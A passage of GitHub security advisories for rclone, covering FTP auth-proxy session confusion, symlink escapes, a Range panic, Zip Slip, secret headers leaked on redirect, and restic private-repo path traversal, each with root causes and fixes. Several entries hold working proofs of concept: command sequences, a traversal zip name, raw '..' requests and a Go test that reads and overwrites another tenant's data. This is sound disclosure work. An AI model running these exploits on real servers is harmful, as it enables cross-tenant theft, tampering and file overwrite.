The first session is now silently rebound to the victim backend. stolen = bytearray() attacker.retrbinary("RETR victim.txt", stolen.extend) print(stolen.decode().strip()) attacker.storbinary("STOR victim.txt", io.BytesIO(b"modified-by-first-session\n"))

attacker.quit() victim.quit() PY

grep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt

Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:

- Before the victim login, the attacker session resolves only the attacker root. - After the victim login, the already-authenticated attacker session reads victim.txt. - A write through the attacker session overwrites the file in the victim root.

The complete automated validation used the actual FTP listener, two simultaneous github.com/jlaffaye/ftp clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that victim.txt was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2:

text === RUN TestSecurityValidationFTPAuthProxyCrossSession --- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s)

Both PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence.

Impact Assessment

A low-privileged user with a valid auth-proxy credential can gain the read, write, and delete authority of another accepted credential sharing the same FTP username. The unauthorized capability is direct: the first session operates on the second credential's VFS without authenticating with that credential.

The maximum impact is cross-tenant disclosure, modification, and deletion of all objects exposed by the victim backend. Actual severity is lower when all credentials for a username intentionally represent the same principal and equivalent root. The victim or an automated client must log in after the attacker, and the attacker must keep the original FTP session open.

This is not a generic FTP username-enumeration issue and does not give an unauthenticated party access. It is a session-isolation failure in auth-proxy mode.

Remediation Guidance

Bind the credential or backend identity to the FTP session, never to the username. goftp.io/server/v2 exposes sctx.Sess.Data, which persists across commands for one session and is released with that session.

A compatible fix is:

1. On successful CheckPasswd, store a private session binding in sctx.Sess.Data. The binding can contain the obscured password and username, or another opaque value sufficient to resolve the same proxy entry. 2. In getVFS, retrieve only that session binding. Never consult a driver-global username map. 3. If re-authentication occurs on the same FTP session, replace the binding only after the new authentication succeeds; clear it on a failed authentication attempt where the library keeps the session alive. 4. Preserve proxy cache expiry semantics. Holding a VFS pointer forever would prevent the existing cache from expiring it; storing the session's obscured credential and re-calling Proxy.Call retains current expiry behavior while maintaining identity. 5. Remove userPass, userPassMu, and the associated global credential lifetime after the session-based path is in place.

Avoid keying a replacement map by remote address, username, or client IP. Multiple sessions can share all of those values. If a library limitation makes Session.Data unsuitable, use the ftp.Session pointer as the key and add reliable disconnect cleanup; session-owned state is preferable because cleanup is automatic.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:L

Summary With -l/--links, rclone's local backend recreates a source .rclonelink object as a real symlink at the destination verbatim (preserved by design for faithful backups). Directory-metadata application, however, does not go through the os.Root sandbox and does not use NOFOLLOW syscalls. A local Directory always has translatedLink=false, so when the destination path already exists as a planted symlink, rclone applies chmod/chown/chtimes through that symlink to a target outside the destination tree. An attacker who controls the source contents (malicious/compromised remote, shared bucket) obtains attacker-valued chmod/chown/chtimes of an arbitrary path outside the backup destination.

Root Cause - MkdirMetadata (backend/local/local.go:895) calls f.lstat (=os.Lstat, local.go:465) on the destination path. On a pre-planted symlink, os.Lstat succeeds, so the errors.Is(err, os.ErrNotExist) branch (local.go:896) that would create a real directory via the os.Root-guarded f.Mkdir is not taken. Instead a Directory is built directly on the symlink path. - writeMetadataToFile runs raw os.Chown (backend/local/metadata.go:131) and os.Chmod (metadata.go:158); setTimes runs raw os.Chtimes (backend/local/local.go:1318). - The CVE-2024-52522 NOFOLLOW fix (os.Lchown/lChmod/lChtimes) is gated on if o.translatedLink (metadata.go:128/150, local.go:1315). A Directory (newDirectory→newObject with no .rclonelink suffix) is never translatedLink, so it always takes the raw following branch. The CVE-2026-54572 os.Root fix covers only content writes, not metadata syscalls.

Impact Attacker-controlled chmod/chown/chtimes (values taken from the source directory's mode/uid/gid/mtime) applied to any file or directory outside the destination. chtimes (mtime) escape works with just --links and default flags; chmod/chown escape additionally needs --metadata. When rclone runs as root with --metadata and a source uid=0, the chown primitive reaches the CVE-2024-52522 privilege-escalation ceiling (take ownership of an out-of-tree path).

Proof of Concept mkdir -p /src /dest run 1: source object pwn.rclonelink whose body = /home/victim/secret.d printf '/home/victim/secret.d' > /src/pwn.rclonelink rclone sync --links /src /dest # plants /dest/pwn -> /home/victim/secret.d attacker swaps source pwn to a real directory with chosen metadata: rm /src/pwn.rclonelink ; mkdir -p /src/pwn/keep ; chmod 777 /src/pwn rclone sync --links --metadata /src /dest # MkdirMetadata sees /dest/pwn exists (symlink) -> # chmod 0777 applied THROUGH it to /home/victim/secret.d ls -ld /home/victim/secret.d # => drwxrwxrwx (outside dir, attacker-chosen mode) A single-run PoC is achievable against directory-based object sources (drive/onedrive-class) that satisfy both ReadDirMetadata and CanHaveEmptyDirectories and can present pwn.rclonelink and pwn/ simultaneously. Local→local uses the two-run backup model (same repeated-backup model as CVE-2024-52522 and CVE-2026-54572). Verified end-to-end against the real fs/sync.Sync engine on HEAD: the two-run backup backdated the outside target's mtime and chmod'd it 0777 while os.Root correctly blocked the content-copy of pwn/keep — isolating the metadata gap.

Attack Chain 1. Entry. Victim runs rclone copy/sync --links [--metadata] <untrusted-remote>: /dest. Attacker controls source contents. - Guard: none — --links copying an untrusted remote is a documented, supported operation. 2. Plant symlink. Source serves pwn.rclonelink with body = absolute outside path; rclone recreates dst/pwn → outside. - Guard: Fs.symlink routes creation through os.Root.Symlink (local.go:~1552). - Bypass proof: os.Root creates the link verbatim by design (commit 1154afe); the upstream os.Root fix's test TestSymlinkEscapeWriteThroughBlocked confirms only write-through is refused, the link is planted. 3. Deferred dir-metadata fires after transfers. Source presents non-empty dir pwn; setDelayedDirModTimes (sync.go:1002) runs strictly after stopTransfers() (sync.go:988) — after the symlink is planted. - Guard: MkdirMetadata would create a real dir via os.Root-guarded f.Mkdir (local.go:897) inside its errors.Is(err, os.ErrNotExist) branch. - Bypass proof: os.Lstat (local.go:465) on the existing symlink returns success, so the ErrNotExist branch (local.go:896) is NOT taken; f.Mkdir/os.Root never runs. Empirically os.IsNotExist(err)=false for the planted symlink. 4. Sink follows the symlink. CopyDirMetadata→MkdirMetadata→writeMetadataToFile runs os.Chown/os.Chmod (metadata.go:131/158); DirSetModTime→setTimes runs os.Chtimes (local.go:1318) — all on o.path="dst/pwn" with translatedLink=false. - Guard: CVE-2024-52522 NOFOLLOW branch (os.Lchown/lChmod/lChtimes). - Bypass proof: that branch is gated on if o.translatedLink (metadata.go:128/150, local.go:1315); a Directory always has translatedLink=false, so the raw following branch runs. POSIX-confirmed: chmod 777/touch on a symlink path change the target's mode/mtime. 5. Impact. chmod/chown/chtimes on an attacker-chosen path outside the destination, with attacker-controlled values.

Bypass Evidence - if o.translatedLink gates verified verbatim on v1.75.0 at metadata.go:128/150 and local.go:1315; os.Chown/os.Chmod/os.Chtimes on the else branch at metadata.go:131/158 and local.go:1318. - newDirectory→newObject (local.go:581/589/596) never sets the .rclonelink suffix → translatedLink=false for all directories. - MkdirMetadata skip branch: os.Lstat succeeds on planted symlink → errors.Is(err, os.ErrNotExist) false at local.go:896 → guarded f.Mkdir skipped. - Real fs/sync.Sync E2E on HEAD: TestDirMetadataThroughPlantedSymlink (outside dir → 0777), TestDirSetModTimeThroughPlantedSymlink (mtime set, default-on), TestE2ETwoRunBackup (backdated outside target while content-copy blocked by os.Root). All PASS. Control TestControlContentWriteBlocked confirms harness fidelity.

Affected Versions <= 1.75.0. Vulnerable code present on latest release tag v1.75.0 and HEAD (5629f26); git log v1.75.0..HEAD -- backend/local/metadata.go backend/local/local.go is empty (no post-release fix).

Suggested Fix Route directory metadata through os.Root when TranslateSymlinks is set (use fchmodat(ATSYMLINKNOFOLLOW)/Lchown/UtimesNanoAt(ATSYMLINKNOFOLLOW) on the rel path within the root), and/or extend MkdirMetadata to detect that the pre-existing destination path is a symlink and refuse to apply following-metadata — mirroring the CVE-2024-52522 NOFOLLOW branch that currently exists only for translatedLink objects.

--- Reported by zx (Jace) — GitHub: @manus-use

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
Integer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary When backend/local is used with --links/-l (or the links=true config option), each symlink is exposed as an rclone object whose content is the target path string, suffixed .rclonelink. Object.Open() decodes an incoming fs.RangeOption via Decode(o.Size()), then for a translated-symlink object passes the decoded offset straight into openTranslatedLink, which indexes the target string directly: linkdst[offset:].

RangeOption.Decode's Start >= 0 branch (an ordinary Range: bytes=X- request) sets offset = o.Start with no upper bound, unlike its suffix-range branch (Start < 0, e.g. bytes=-N), which already clamps a too-large value to 0 - the fix for a prior, related crash (issue #6310: "bytes=-90407" against a 5-byte object panicked with "slice bounds out of range", now covered by an existing regression test). The Start >= 0 branch never received the analogous protection.

A Range: bytes=<hugeStart>- request sent to rclone serve http/webdav (or any consumer of lib/http/serve's Object(), which parses and decodes the client's own Range header) against a directory containing a symlink therefore reaches linkdst[offset:] with offset far beyond the target string's length, and Go panics with "slice bounds out of range" instead of returning an empty read.

Details Vulnerable code (before fix): go func (o Object) openTranslatedLink(offset, limit int64) (lrc io.ReadCloser, err error) { linkdst, err := os.Readlink(o.path) if err != nil { return nil, err } return readers.NewLimitedReadCloser(io.NopCloser(strings.NewReader(linkdst[offset:])), limit), nil }

PoC Called the real production Object.Open() on a translated-symlink object (target length 12) with &fs.RangeOption{Start: math.MaxInt64, End: -1}: panic: runtime error: slice bounds out of range [9223372036854775807:8] ...backend/local.(Object).openTranslatedLink ...backend/local.(Object).Open

Impact A remote client can send a single crafted Range header against any symlink-backed object exposed by rclone serve http/webdav/etc (backed by backend/local with --links enabled) to deterministically panic the request-handling goroutine. Go's net/http recovers panics per-connection by default, so this fails the one request/connection rather than crashing the whole server process, and no file handle is left open (the panic occurs before any read handle is acquired) - but it is fully deterministic and remotely triggerable with no authentication or race window needed, unlike some other panic-recovery findings.

Fix Clamp offset to the length of the target string before slicing, matching how a real file read past EOF behaves (an empty read): go if offset > int64(len(linkdst)) { offset = int64(len(linkdst)) } Note: the shared RangeOption.Decode() also has a related, unaddressed issue - limit = o.End - o.Start + 1 can itself overflow to a large negative number for a huge End - but a fix attempted there during this investigation broke fs/operations/reopen.go's NewReOpen, which calls Decode with its h.end field still at its zero value at that point in construction. Flagged for awareness but not changed here to keep this patch minimal and low-risk.

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
Path Traversal
AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N

Summary backend/archive mounts a zip file as a browsable, syncable rclone Fs (e.g. rclone lsf :zip:downloaded.zip or rclone copy :zip:downloaded.zip dest:). Go's archive/zip package does not sanitize file.Name - it is taken verbatim from the untrusted zip's central directory. readZip() in backend/archive/zip/zip.go applies path.Clean to the entry name, but this alone cannot fully neutralize a name with more .. components than real segments preceding them (e.g. "../../etc/cron.d/evil" stays exactly as-is after cleaning). When the archive is mounted with an empty root (the common case), there was no check at all that the resulting name stayed inside the archive's own namespace, so it was stored verbatim and returned unchanged by Object.Remote().

fs/sync/fs/operations use srcObj.Remote() directly as the destination-relative path when copying between filesystems, so a maliciously crafted zip file can cause rclone copy/sync to attempt writes outside the intended destination directory on whatever backend it targets - this is the well-known "Zip Slip" vulnerability class (https://security.snyk.io/research/zip-slip-vulnerability) applied to rclone's own zip-mounting backend. It is distinct from cmd/archive/extract, which already validates via its own destPath() choke point and is not affected.

Details Vulnerable code (before fix), backend/archive/zip/zip.go, (Fs).readZip: go for , file := range zr.File { remote := strings.Trim(path.Clean(file.Name), "/") if remote == "." { remote = "" } remote = path.Join(f.prefix, remote) if f.root != "" { // Ignore all files outside the root if !strings.HasPrefix(remote, f.root) { continue } ... } ... o := &Object{f: f, remote: remote, ...} dt.Add(o) } The escape check only ran when f.root != "", and even then used a bare strings.HasPrefix with no boundary check (so f.root="foo" incorrectly also matched a sibling entry "foobar").

PoC Built a zip in memory with Go's real archive/zip writer (entry name "../../etc/cron.d/evil", not sanitized by the writer either), wrote it to disk, and mounted it via the actual production constructor zip.New(ctx, localFs, "evil.zip", "", ""): zip entry Name="../../etc/cron.d/evil" -> Object.Remote()="../../etc/cron.d/evil" Fully outside the archive's own namespace - confirmed via a regression test that mounts the malicious zip through the real local backend and inspects the resulting Fs's internal dirtree and every Object's Remote().

Impact A user who runs rclone copy/sync/mount against an untrusted zip file (downloaded, e-mailed, etc.) can have files written outside the intended destination directory on the destination backend, depending on that backend's own confinement. No server compromise or custom remote configuration is required from the attacker - only a crafted zip file and a normal rclone copy/sync invocation by the victim.

Fix Skip any zip entry whose cleaned+prefixed name still escapes the archive's own namespace, rather than exposing it. Also tightened the pre-existing root filter's weak prefix check.

1 / 2
Source: GitHub
First published (updated )
Severity
3.7
Infoleak
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Vulnerability Details

File: backend/http/http.go Lines: 285 (client construction — no CheckRedirect), 505-510 (addHeaders, writes configured secret headers onto every request), 533-534 / 700-701 / 782-785 (f.httpClient.Do(req) used by List/stat/download)

Root Cause The http backend lets a user attach arbitrary secret headers to every request via --http-headers/headers= (documented for authentication: '"Cookie","name=value","Authorization","xxx"'). The backend's HTTP client is built with fshttp.NewClient(ctx), which never sets http.Client.CheckRedirect, so it falls back to Go's stdlib default redirect policy.

Go's default policy only strips four header names (Authorization, Www-Authenticate, Cookie, Cookie2), and only when the redirect target's host differs from the original — every other configured header is copied to the redirect target unconditionally, regardless of host or scheme. Even the four protected names survive a same-host https:// → http:// downgrade, since Go only checks host equality, not scheme.

Any redirect response from the configured remote — whether from server compromise, an open redirect, a CDN/mirror failover to a different domain, or a malicious server from the start — causes rclone to resend every configured secret header (and, for a scheme downgrade, Authorization/Cookie in cleartext) to the new destination.

This is the exact vulnerability class already fixed for the s3 backend (9328763/7543a7a, GHSA-8mxv-9xhp-86h4 and the webdav backend (59b513b, GHSA-h4mf-4v27-hggj, wiring rest.RefuseHTTPSDowngradeRedirectFn). backend/http was not touched by either fix.

Vulnerable Code go // backend/http/http.go:285 client := fshttp.NewClient(ctx) // no CheckRedirect set ... f.httpClient = client // used by readDir / NewObject / Object.Open go // backend/http/http.go:505-510 func addHeaders(req http.Request, opt Options) { for i := 0; i < len(opt.Headers); i += 2 { key := opt.Headers[i] value := opt.Headers[i+1] req.Header.Add(key, value) } }

Attack Scenario 1. User configures an http remote: url=https://good.example.com/files/, headers=X-Api-Key,SECRET-TOKEN. 2. At some point good.example.com returns a redirect whose Location points at a different host (compromise, open redirect, CDN change, or malice from the start). 3. User runs any operation (ls, cat, copy, mount, serve) against the remote. 4. rclone follows the redirect with the default client and resends X-Api-Key: SECRET-TOKEN to the new, untrusted destination. 5. The attacker's server captures the secret from the incoming request.

Impact Exfiltration of API keys / bearer tokens / session cookies configured for one host, to any host the (trusted-at-configuration-time) remote later redirects to. All operations on the http backend (list, stat, download, mount, serve) are affected. No special rclone privileges or unusual user interaction are needed beyond a normal sync/list/copy once the redirect exists.

Dynamic Confirmation Built rclone from source at cfdc9d0 (current master, v1.76.0-DEV) and configured: ini [testhttp] type = http url = http://127.0.0.1:9090/ headers = X-Api-Key,SUPER-SECRET-TOKEN-abc123 Server A (port 9090, the "configured" host) 302-redirects every request to Server B (port 9091, a different host). Running rclone cat testhttp:file.txt caused Server B — which was never configured with any credential — to receive: Header: X-Api-Key: SUPER-SECRET-TOKEN-abc123 Header: Referer: http://127.0.0.1:9090/file.txt rclone printed Server B's response body as if it were the real file, confirming the full stat→redirect→download round trip leaks the header and trusts the redirect target.

Vulnerable Code / Fix A minimal fix (implemented, tested, and verified to close the leak while preserving redirect functionality) wires the client to rest.RefuseHTTPSDowngradeRedirectFn (already used by webdav) and strips the configured opt.Headers on any cross-host redirect:

go client := fshttp.NewClient(ctx) client.CheckRedirect = redirectCheckFn(opt) ... func redirectCheckFn(opt Options) func(req http.Request, via []http.Request) error { return func(req http.Request, via []http.Request) error { if err := rest.RefuseHTTPSDowngradeRedirectFn(req, via); err != nil { return err } if len(via) > 0 && req.URL.Host != via[0].URL.Host { for i := 0; i < len(opt.Headers); i += 2 { req.Header.Del(opt.Headers[i]) } } return nil } }

A regression test (TestRedirectStripsHeadersOnHostChange) was added to backend/http/httpinternaltest.go, confirmed to fail without the fix and pass with it. Full backend/http and lib/rest test suites pass with the fix applied. I have a fix branch ready to push to a private fork once this report is acknowledged.

Verification Dynamically confirmed on rclone master @ cfdc9d0 (post v1.75.0) in a local test harness — see "Dynamic Confirmation" above. Fix verified to eliminate the leak via the same harness (secret header absent from Server B after the fix; functionality — file download via redirect — unaffected).

1 / 2
Source: GitHub
First published (updated )
Severity
5.1
AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

rclone before v1.75.0 includes full Go stack traces in RC API error responses when panics occur. Attackers can trigger panics to leak internal file paths, module versions, goroutine states, and memory addresses.

First published (updated )
Severity
6.9
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

rclone before 1.75.0 mounts the pprof debug handler as its own router route, bypassing the fail-closed authentication rule in the main handler. Attackers can access the /debug/pprof/cmdline endpoint unauthenticated to retrieve the full process argv including backend credentials.

First published (updated )
Severity
7.1
Out-of-bounds Read
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

rclone versions >= v1.72.0 and <= v1.74.4 (fixed in v1.75.0) contain multiple denial-of-service vulnerabilities in the archive backend's SquashFS parser, which relies on the github.com/diskfs/go-diskfs dependency. The parser fails to validate attacker-controlled superblock and metadata values before use. An attacker who can place or modify a SquashFS image in storage exposed through an rclone :archive: remote can craft a malicious image that triggers an integer division-by-zero panic (zero block size), an out-of-bounds slice panic (out-of-range inode metadata offset), or a non-progress CPU loop (truncated metadata stream). Variants 1 and 2 terminate the rclone process and, via 'rclone serve sftp', can crash the entire SFTP server; variant 3 causes sustained CPU consumption. Parsing is lazy, so a victim or remote client must address or descend into the malicious archive object to trigger it.

First published (updated )
Severity
8.8
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

rclone serve restic --private-repos exists to let one rclone instance host many users' restic backup repositories behind HTTP Basic auth while keeping each user confined to a path prefix of /<username>/. The documentation states the flag "can be used to limit users to repositories starting with a path of /<username>/", and the shipped test TestResticPrivateRepositories asserts that user test may reach /test/config but is 403-blocked from /otheruser/config. This isolation is the entire security purpose of the flag.

The isolation is enforced by two independent chi middlewares that derive the username and the backend object path from two different sources, and the path source is never canonicalized. checkPrivate authorizes the request by comparing the routed {userID} path segment against the authenticated user, while WithRemote builds the backend object key from the raw, un-cleaned URL path. A request such as GET /<me>/../<victim>/config keeps the first path segment equal to the attacker's own username (so checkPrivate returns the request as authorized) yet hands the backend the literal remote me/../victim/config. On any backend that resolves object paths with POSIX path.Join/path.Clean semantics — which includes the bundled memory backend used in the PoC below, and the widely deployed sftp and ftp backends — that .. segment collapses, and the operation is performed against the victim's object.

Because the same un-cleaned remote feeds the GET (download), POST (upload/overwrite) and DELETE handlers, any authenticated user can read, overwrite, and delete the files of any other user's private repository hosted on the same server. For restic that means reading another tenant's config/keys metadata and pack files, corrupting their repository, or deleting their backups outright (subject to --append-only, which still permits cross-tenant reads).

Affected code (v1.74.3, commit 37e4117…)

cmd/serve/restic/restic.go. The two middlewares disagree on what "the path" is. checkPrivate reads the chi route param userID:

go // Middleware to ensure authenticated user is accessing their own private folder func checkPrivate(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { user := chi.URLParam(r, "userID") userID, ok := libhttp.CtxGetUser(r.Context()) if ok && user != "" && user == userID { next.ServeHTTP(w, r) } else { http.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden) } }) }

WithRemote builds the backend object key from the raw URL path with no path.Clean and no .. rejection (the only transformation is the unrelated data/xx sharding rewrite):

go func WithRemote(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { var urlpath string rctx := chi.RouteContext(r.Context()) if rctx != nil && rctx.RoutePath != "" { urlpath = rctx.RoutePath } else { urlpath = r.URL.Path } urlpath = strings.Trim(urlpath, "/") parts := matchData.FindStringSubmatch(urlpath) // ... data/2159dd48 -> data/21/2159dd48 sharding only ... ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath) next.ServeHTTP(w, r.WithContext(ctx)) }) }

Route wiring (Bind): the auth-bearing {userID} segment is matched by chi for checkPrivate, but the catch-all / that WithRemote reads keeps the literal ..:

go if s.opt.PrivateRepos { router.Route("/{userID}", func(r chi.Router) { r.Use(checkPrivate) s.bind(r) }) ... }

The remote stored by WithRemote is then used verbatim by the object handlers, e.g. serveObject → s.newObject(ctx, remote) → s.f.NewObject(ctx, remote), postObject → operations.RcatSize(..., remote, ...), and deleteObject → o.Remove(...). For a request GET /test/../victim/config, instrumentation shows checkPrivate observing userIDparam="test" (authorized) while the object remote is "test/../victim/config" — the desync is exact.

Attacker model / precondition

The attacker is a low-privileged but legitimately authenticated user of the server: they hold valid HTTP Basic credentials for their own private repo (this is the normal multi-tenant deployment the flag is designed for — e.g. a hosting provider giving each customer a restic endpoint). No victim interaction is required.

Preconditions: (1) the operator runs rclone serve restic with --private-repos and authentication configured (the documented multi-tenant setup); and (2) the served backend resolves object paths with POSIX path.Join/path.Clean semantics so the .. collapses before the object is located. This holds for the bundled memory backend (used in the self-contained PoC), and for the commonly deployed sftp and ftp backends, whose object path is computed as path.Join(f.absRoot, remote) (backend/sftp/sftp.go, o.path()), which canonicalizes ... It does not hold for the local backend (which deliberately re-encodes ./.. path components to fullwidth characters in cleanRootPath/localPath, neutralizing traversal), and S3-style backends treat keys as opaque so a literal .. key normally will not match a victim object — so impact is backend-dependent. That backend-dependence is itself the defect: the cross-user authorization boundary must be enforced at the HTTP layer and must not silently rely on a particular backend's incidental path handling.

Impact

Across the per-user trust boundary that --private-repos is meant to enforce, any authenticated user can, against any other user's repository on the same server:

- Read (GET): download the victim's restic config and keys/ files and pack/index objects — full confidentiality break of the victim's repository metadata and stored blobs. (Restic encrypts pack contents client-side, but the repository config, key files, snapshot/index structure and object existence all leak, and the master key is recoverable offline by anyone who also knows the victim's restic password — i.e. this removes the server-side isolation that was the only barrier.) - Overwrite (POST): replace the victim's objects with attacker-chosen content, corrupting or poisoning their backups. Blocked only if --append-only is set. - Delete (DELETE): remove the victim's repository objects, destroying their backups. Blocked only if --append-only is set (which still allows the read primitive).

This is a complete bypass of the multi-tenant isolation control, hence C:H/I:H/A:H, gated to PR:L by the need for a valid own-account.

Proof of Concept (complete — runs on 127.0.0.1 only)

Lab-only. This is a single self-contained Go test placed inside the rclone source tree; it starts an in-process restic server on a loopback httptest listener backed by the bundled in-memory backend (which has the same path.Join key semantics as the sftp/ftp backends), then sends raw, un-normalized HTTP request-targets over a TCP socket (so the .. is not collapsed client-side). It proves: (1) a user reads their own object — 200; (2) a direct cross-tenant request is correctly blocked — 403; (3) the .. bypass reads the victim's secret — 200 + leak; (4) the same bypass overwrites the victim's object — 200.

Reproduce against the exact vulnerable tag:

console git clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone cd rclone write the test file shown below to cmd/serve/restic/zzzpoctest.go go test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v

cmd/serve/restic/zzzpoctest.go:

go package restic

import ( "bufio" "context" "encoding/base64" "fmt" "net" "net/http/httptest" "strings" "testing" "time"

"github.com/rclone/rclone/fs" "github.com/rclone/rclone/fs/config/configfile" "github.com/rclone/rclone/fs/object" "github.com/rclone/rclone/lib/random" "github.com/stretchr/testify/require"

"github.com/rclone/rclone/backend/memory" )

func pocBasicAuth(user, pass string) string { return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass)) }

// rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized) // request-target + method + Basic auth, returning the full raw response. func rawReq(t testing.T, addr, method, target, user, pass string) string { conn, err := net.Dial("tcp", addr) require.NoError(t, err) defer func() { = conn.Close() }() cred := pocBasicAuth(user, pass) req := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: x\r\nAuthorization: Basic %s\r\nConnection: close\r\n\r\n", method, target, cred) , err = conn.Write([]byte(req)) require.NoError(t, err) r := bufio.NewReader(conn) var sb strings.Builder buf := make([]byte, 8192) for { n, err := r.Read(buf) if n > 0 { sb.Write(buf[:n]) } if err != nil { break } } return sb.String() }

func pocBody(resp string) string { if idx := strings.Index(resp, "\r\n\r\n"); idx >= 0 { return resp[idx+4:] } return "" } func pocStatus(resp string) string { return strings.SplitN(resp, "\r\n", 2)[0] }

// TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass // on a bucket-style backend (memory: same path.Join semantics as sftp/ftp). func TestPrivateRepoCrossTenantPoC(t testing.T) { configfile.Install() ctx := context.Background()

// Bucket-style backend shared by all private-repo users. f, err := fs.NewFs(ctx, ":memory:repos") require.NoError(t, err)

put := func(remote, content string) { info := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f) , perr := f.Put(ctx, strings.NewReader(content), info) require.NoError(t, perr) }

// Victim "alice" uploads her restic config under her own private prefix. secret := "ALICE-PRIVATE-RESTIC-CONFIG-" + random.String(8) put("alice/config", secret)

// Attacker "mallory" has her own valid account on the same server. put("mallory/config", "mallory-own-config")

opt := newOpt() opt.PrivateRepos = true opt.Auth.BasicUser = "mallory" opt.Auth.BasicPass = "password" opt.HTTP.ListenAddr = nil

s, err := newServer(ctx, f, &opt) require.NoError(t, err) ts := httptest.NewServer(s.server.Router()) defer ts.Close() addr := strings.TrimPrefix(ts.URL, "http://")

// 1. Sanity: mallory reads her own config -> 200. r1 := rawReq(t, addr, "GET", "/mallory/config", "mallory", "password") t.Logf("[own] GET /mallory/config -> %s body=%q", pocStatus(r1), pocBody(r1))

// 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -> 403. r2 := rawReq(t, addr, "GET", "/alice/config", "mallory", "password") t.Logf("[direct-blocked] GET /alice/config -> %s body=%q", pocStatus(r2), pocBody(r2))

// 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so // checkPrivate passes, but the object remote collapses to alice/config. r3 := rawReq(t, addr, "GET", "/mallory/../alice/config", "mallory", "password") leaked := strings.Contains(pocBody(r3), secret) t.Logf("[BYPASS] GET /mallory/../alice/config -> %s leaked=%v body=%q", pocStatus(r3), leaked, pocBody(r3))

require.Equalf(t, "HTTP/1.1 200 OK", pocStatus(r3), "expected the bypass to return alice's object") require.Truef(t, leaked, "expected to read alice's secret config across the tenant boundary")

// 4. Write bypass too: mallory overwrites alice's object (append-only off). r4 := rawReq(t, addr, "POST", "/mallory/../alice/config", "mallory", "password") t.Logf("[BYPASS-write] POST /mallory/../alice/config -> %s", pocStatus(r4)) }

Observed output (v1.74.3 and master HEAD):

text === RUN TestPrivateRepoCrossTenantPoC zzzpoctest.go: [own] GET /mallory/config -> HTTP/1.1 200 OK body="mallory-own-config" zzzpoctest.go: [direct-blocked] GET /alice/config -> HTTP/1.1 403 Forbidden body="Forbidden\n" zzzpoctest.go: [BYPASS] GET /mallory/../alice/config -> HTTP/1.1 200 OK leaked=true body="ALICE-PRIVATE-RESTIC-CONFIG-sijejif0" zzzpoctest.go: [BYPASS-write] POST /mallory/../alice/config -> HTTP/1.1 200 OK --- PASS: TestPrivateRepoCrossTenantPoC (0.00s) PASS ok github.com/rclone/rclone/cmd/serve/restic 0.022s

The shipped TestResticPrivateRepositories continues to pass alongside this PoC, confirming the intended isolation model (own 200, direct cross-tenant 403) is exactly what the .. request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or net/http client would canonicalize the .. before sending, but curl --path-as-is, restic's own REST client, or any raw socket write preserves it.

Remediation

Enforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the same cleaned value:

- In WithRemote (or before checkPrivate runs), reject or path.Clean the request path and refuse any path containing a .. element after a leading-slash trim — e.g. compute cleaned := path.Clean("/" + strings.Trim(urlpath, "/")) and 403/400 if cleaned differs from the original or still contains a .. segment. Then store cleaned (minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth. - Additionally, in checkPrivate, verify that the (cleaned) object remote actually has the authenticated user's name as its first path segment, rather than trusting the chi {userID} route param in isolation: require strings.HasPrefix(cleanedRemote, userID+"/") || cleanedRemote == userID. - Defense in depth: the restic server should canonicalize and ..-reject incoming object paths even when --private-repos is off, so that no backend is relied upon to neutralize traversal.

Please credit 5ud0 / Tarmo Technologies.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L

Summary With -l/--links, rclone serializes symlinks as <name>.rclonelink text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with os.Symlink(<object body>, <dest path>) and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or ../ path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named <name>.rclonelink sorts before <name>/..., rclone creates the escaping symlink first and then writes a following object "inside" it; mkdirAll/OpenFile follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting ~/.ssh/authorizedkeys, ~/.bashrc, or a crontab — i.e. code execution.

